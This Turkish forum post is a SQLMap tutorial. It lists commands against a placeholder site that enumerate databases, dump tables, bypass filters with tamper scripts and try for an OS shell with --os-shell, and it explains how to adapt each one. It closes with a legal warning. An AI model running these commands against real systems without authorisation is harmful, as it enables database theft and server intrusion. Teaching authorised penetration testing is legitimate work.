zed
Editör
- Katılım
- 9 Eylül 2026
- Mesajlar
- 10
- Tepkime puanı
- 28
- Puan
- 9
SQLMap Nedir?
SQLMap, veritabanı tabanlı güvenlik açıklarını tespit etmek ve bu açıklardan yararlanmak amacıyla geliştirilmiş açık kaynaklı bir sızma testi aracıdır. Özellikle SQL Injection zafiyetlerini otomatik olarak bulmak ve bu zafiyetler üzerinden veritabanı bilgilerini çekmek için kullanılır. Python diliyle yazılmıştır ve MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite gibi birçok veritabanı sistemini destekler. Güvenlik araştırmacıları ve sızma testi uzmanları tarafından, web uygulamalarındaki giriş noktalarının güvenliğini değerlendirmek amacıyla yaygın olarak kullanılır. Araç, manuel olarak saatler sürebilecek bir SQL Injection tespit ve sömürü sürecini dakikalar içerisinde otomatik hale getirir.
Temel Komutlar
Amaç | Komut |
|---|---|
Hedefi taramak | sqlmap -u hedefsite.com/sayfa.php?id=1 |
Veritabanlarını listelemek | sqlmap -u hedefsite.com/sayfa.php?id=1 --dbs |
Tabloları listelemek | sqlmap -u hedefsite.com/sayfa.php?id=1 -D veritabaniadi --tables |
Sütunları listelemek | sqlmap -u hedefsite.com/sayfa.php?id=1 -D veritabaniadi -T tabloadi --columns |
Veriyi çekmek | sqlmap -u hedefsite.com/sayfa.php?id=1 -D veritabaniadi -T tabloadi --dump |
Temel Komutların Geliştirilmesi
sqlmap -u hedefsite.com/sayfa.php?id=1 komutundaki hedefsite.com/sayfa.php?id=1 kısmı tamamen değiştirilebilir bir alandır. Buraya taranmak istenen gerçek site adresi ve zafiyetli olduğu düşünülen parametre yazılır. id=1 yerine sitede bulunan herhangi bir parametre örneğin urun=1, sayfa=2, haber=5 gibi ne varsa onunla değiştirilebilir. Önemli olan URL içinde bir soru işareti ve ardından bir parametre değeri bulunmasıdır.
--dbs parametresi sabit kalır, değiştirilmez, çünkü bu doğrudan sqlmap'e "veritabanlarını listele" komutunu verir. Değişen tek şey yine başındaki -u ile verilen hedef adrestir.
-D veritabaniadi kısmında veritabaniadi yazan yer, bir önceki adımda --dbs ile listelenen veritabanlarından hangisi inceleneceksek onun gerçek ismiyle değiştirilir. Örneğin veritabanının adı shopdb ise -D shopdb şeklinde yazılır.
-T tabloadi kısmında da aynı mantık geçerlidir, tabloadi yazan yer önceden --tables ile görülen tablolardan hangisi seçildiyse onun gerçek adıyla değiştirilir. Örneğin tablo adı users ise -T users olur.
İleri Seviye Komutlar
Amaç | Komut |
|---|---|
POST verisiyle test etmek | sqlmap -u hedefsite.com/giris.php --data="kullanici=admin&sifre=123" |
Çerez ile oturum kullanmak | sqlmap -u hedefsite.com/sayfa.php?id=1 --cookie="PHPSESSID=abcd1234" |
Filtreleri atlatmak | sqlmap -u hedefsite.com/sayfa.php?id=1 --tamper=space2comment |
Risk ve derinlik ayarlamak | sqlmap -u hedefsite.com/sayfa.php?id=1 --risk=3 --level=5 |
Komut kabuğu elde etmeye çalışmak | sqlmap -u hedefsite.com/sayfa.php?id=1 --os-shell |
Rastgele user agent kullanmak | sqlmap -u hedefsite.com/sayfa.php?id=1 --random-agent |
Proxy üzerinden istek göndermek | sqlmap -u hedefsite.com/sayfa.php?id=1 --proxy=
İçeriklerden Faydalanmak için Üye olmanız Gerekmektedir. Giriş yap veya üye ol.
|
İleri Seviye Komutların Geliştirilmesi
--data= "kullanici=admin&sifre=123" kısmında tırnak içindeki değerler tamamen hedef siteye göre değişir. Buraya, tarayıcının geliştirici araçlarından veya bir proxy aracından yakalanan gerçek POST verisi yazılmalıdır.
Yani kullanici ve sifre yazan alan isimleri, hedef sitenin form alanlarının gerçek isimleriyle değiştirilir, örneğin username=admin&password=123 gibi.
--cookie= "PHPSESSID=abcd1234" kısmındaki çerez değeri, kişinin kendi tarayıcısında oturum açtıktan sonra tarayıcıdan aldığı gerçek çerez bilgisiyle değiştirilmelidir. Her sitede ve her oturumda bu değer farklılık gösterir.
--tamper= space2comment kısmında space2comment yazan yer, sqlmap içinde bulunan onlarca farklı tamper scriptinden biriyle değiştirilebilir. Hangi filtreleme sisteminin aşılmaya çalışıldığına göre farklı scriptler denenebilir, birden fazla script virgülle ayrılarak da birlikte kullanılabilir, örneğin --tamper=space2comment,between gibi.
--risk=3 --level=5 kısmındaki sayılar kişinin ihtiyacına göre düşürülüp yükseltilebilir. Risk 1 en düşük, 3 en yüksek risktir, level ise 1 ile 5 arasında değişir ve sayı arttıkça sqlmap daha fazla test denemesi yapar ama işlem süresi de uzar. Başlangıçta düşük değerlerle denenip sonuç alınamazsa sayılar kademeli olarak artırılabilir.
--os-shell parametresi genellikle sabit kullanılır çünkü doğrudan bir kabuk elde etmeye çalışır, ancak bu parametrenin çalışabilmesi için hedef sistemin buna uygun bir yapıya sahip olması gerekir, herkes tarafından her sitede kullanılamaz.
--random-agent parametresi sabittir, herhangi bir değişiklik gerektirmez, her çalıştırmada otomatik olarak farklı bir tarayıcı kimliği kullanır.
--proxy=
İçeriklerden Faydalanmak için Üye olmanız Gerekmektedir. Giriş yap veya üye ol.
Yasal Uyarı
Bu eğitim tamamen bilgilendirme ve eğitim amaçlı hazırlanmıştır. SQLMap gibi araçların izinsiz, yetkisiz veya sahibi olmadığınız sistemler üzerinde kullanılması birçok ülkede suç teşkil etmektedir ve ciddi hukuki yaptırımlara yol açabilir. Bu bilgiler yalnızca kendi sahip olduğunuz sistemler, yasal izin aldığınız sızma testi ortamları veya bu amaçla kurulmuş eğitim platformları üzerinde uygulanmalıdır. Başkasına ait sistemlere izinsiz erişim sağlamak, veri çalmak veya zarar vermek kesinlikle yasa dışıdır ve bu paylaşımın amacı bu tür eylemleri teşvik etmek değildir. Sorumluluk tamamen kullanıcıya aittir.
Moderatör tarafında düzenlendi: